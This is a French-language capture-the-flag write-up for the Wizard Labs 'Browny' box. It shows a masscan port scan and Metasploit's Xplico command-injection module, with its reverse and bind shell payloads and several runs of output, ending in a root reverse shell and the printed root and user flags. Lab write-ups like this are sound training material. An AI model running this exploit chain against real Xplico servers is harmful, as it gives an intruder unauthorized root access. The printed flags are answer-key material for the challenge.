Chocoooooo
Browny est un CTF de la plateforme Wizard Labs. Cette box donnée à une difficulté très faible (1/10) est basée sur Linux.
On peut lancer un masscan pour lister les ports en écoute :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ sudo masscan -i tun0 -p1-65535 --rate 100 10.1.1.17
Starting masscan 1.0.4 (http://bit.ly/14GZzcT) at 2019-02-23 14:32:37 GMT
-- forced options: -sS -Pn -n --randomize-hosts -v --send-eth
Initiating SYN Stealth Scan
Scanning 1 hosts [65535 ports/host]
Discovered open port 80/tcp on 10.1.1.17
Discovered open port 9876/tcp on 10.1.1.17
Discovered open port 30005/tcp on 10.1.1.17
Discovered open port 30001/tcp on 10.1.1.17
Discovered open port 22/tcp on 10.1.1.17
Discovered open port 30004/tcp on 10.1.1.17
Discovered open port 30003/tcp on 10.1.1.17
Discovered open port 30002/tcp on 10.1.1.17
On peut ensuite récupérer cet output pour extraire la liste des ports et les rebalancer avec Nmap. La commande suite va formater cette liste de ports en les séparant avec des virgules :
1
2
$ grep Disco output.txt | cut -d' ' -f4| cut -d/ -f1 |paste -d ',' -s
80,9876,30005,30001,22,30004,30003,30002
En fouillant sur le port 80 avec un dirbuster on ne découvre ni dossier ni script PHP :(
En revanche le service en écoute sur le port 9876, anoncé par Nmap comme un Apache Hadoop est en réalité un Xplico qui est une appli web pour l’analyse forensics réseau.
On passe ainsi un fichier PCAP et on peut l’explorer via Xplico. J’avais déjà utilisé ce soft qui est assez agréable d’utilisation.
Bien sûr ici on est principalement intéressés par les vulnérabilités du logiciel plutôt que ses fonctionnalités.
Metasploit dispose d’un module d’attaque dont voici la description et les payloads possibles :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
Description:
This module exploits command injection vulnerability.
Unauthenticated users can register a new account and then execute a
terminal command under the context of the root user. The specific
flaw exists within the Xplico, which listens on TCP port 9876 by
default.
Compatible Payloads
===================
Name Disclosure Date Rank Check Description
---- --------------- ---- ----- -----------
cmd/unix/bind_awk normal No Unix Command Shell, Bind TCP (via AWK)
cmd/unix/bind_netcat normal No Unix Command Shell, Bind TCP (via netcat)
cmd/unix/generic normal No Unix Command, Generic Command Execution
cmd/unix/reverse_awk normal No Unix Command Shell, Reverse TCP (via AWK)
cmd/unix/reverse_netcat normal No Unix Command Shell, Reverse TCP (via netcat)
L’exploitation n’a pas été à la hauteur de nos espérances :
1
2
3
4
5
6
7
8
9
10
11
12
msf5 exploit(linux/http/xplico_exec) > run
[*] Started reverse TCP handler on 10.254.0.29:4444
[*] Initiating new session on server side
[*] Registering a new user
[+] New user successfully registered
[*] Username: metnhsrpiveb
[*] Password: igMHipqNbEwaFoBVDqYFPXXQbEkIBCZV
[*] Calculating em_key code of the user
[*] Activating user with em_key = 3ad86d0ada1f91ab6357ca774ad0c2bf
[-] Exploit aborted due to failure: unknown: Could not activated our user. Target may not be vulnerable.
[*] Exploit completed, but no session was created.
Il est temps de ce pencher plus sur les détails de la vulnérabilité pour déterminer ce qui cloche.
L’article original traitant de la faille mentionne une variable qu’il faut plus ou moins deviner car elle correspond au temps Unix et est utilisée pour réussir l’exploitation.
L’exploit utilise donc le temps qu’il croit être juste… en gros il faut que toute l’exploitation se fasse dans une fenêtre d’une seconde pour ne pas être embêté :p
Du coup c’est principalement le manque de chance… bref on relance jusqu’à ce que…
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
[*] Started reverse TCP handler on 10.254.0.29:4444
[*] Initiating new session on server side
[*] Registering a new user
[+] New user successfully registered
[*] Username: svfzydcg
[*] Password: apywpCMpmUjHBHhHnHRzIAMuNJNggYWZ
[*] Calculating em_key code of the user
[*] Activating user with em_key = 2edb880cb905936ab894e54db23abe18
[+] User successfully activated
[*] Authenticating with our activated new user
[+] Successfully authenticated
[*] Creating new case
[+] New Case successfully creted. Our pol_id = 7
[*] Creating new xplico session for pcap
[+] New Sols successfully creted. Our sol_id = 7
[*] Uploading malformed PCAP file
[+] PCAP successfully uploaded. Pcap parser is going to start on server side.
[*] Parsing has started. Wait for parser to get the job done...
[*] Exploit completed, but no session was created.
C’est mieux mais ça n’aboutit toujours pas. Il s’est avéré que l’upload des fichiers ne fonctionnait plus sur la machine pour une raison inconnue. Un reset de la machine plus tard :
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
msf5 exploit(linux/http/xplico_exec) > run
[*] Started reverse TCP handler on 10.254.0.29:4444
[*] Initiating new session on server side
[*] Registering a new user
[+] New user successfully registered
[*] Username: qvxtanwgruta
[*] Password: KjixXsyUFbhjRiBSITzWbDjciGBsJrOP
[*] Calculating em_key code of the user
[*] Activating user with em_key = 027c6641ad1e36ebddf3ee5cb384e6a7
[+] User successfully activated
[*] Authenticating with our activated new user
[+] Successfully authenticated
[*] Creating new case
[+] New Case successfully creted. Our pol_id = 5
[*] Creating new xplico session for pcap
[+] New Sols successfully creted. Our sol_id = 5
[*] Uploading malformed PCAP file
[+] PCAP successfully uploaded. Pcap parser is going to start on server side.
[*] Parsing has started. Wait for parser to get the job done...
[+] We are at PCAP decoding phase. Little bit more patience...
[+] We are at PCAP decoding phase. Little bit more patience...
[+] We are at PCAP decoding phase. Little bit more patience...
[*] Command shell session 1 opened (10.254.0.29:4444 -> 10.1.1.17:57091) at 2019-02-23 16:33:59 +0100
id
uid=0(root) gid=0(root) groups=0(root)
pwd
/opt/xplico/bin
cd /root
ls
root.txt
cat root.txt
02240138a64d38ed22526a4a0f1ea9a1
ls /home
granit
cd /home/granit
cat user.txt
c553f25184be6a0e81be6cfc000d5b20
CTF parfait pour le 4h.
Published May 21 2019 at 18:05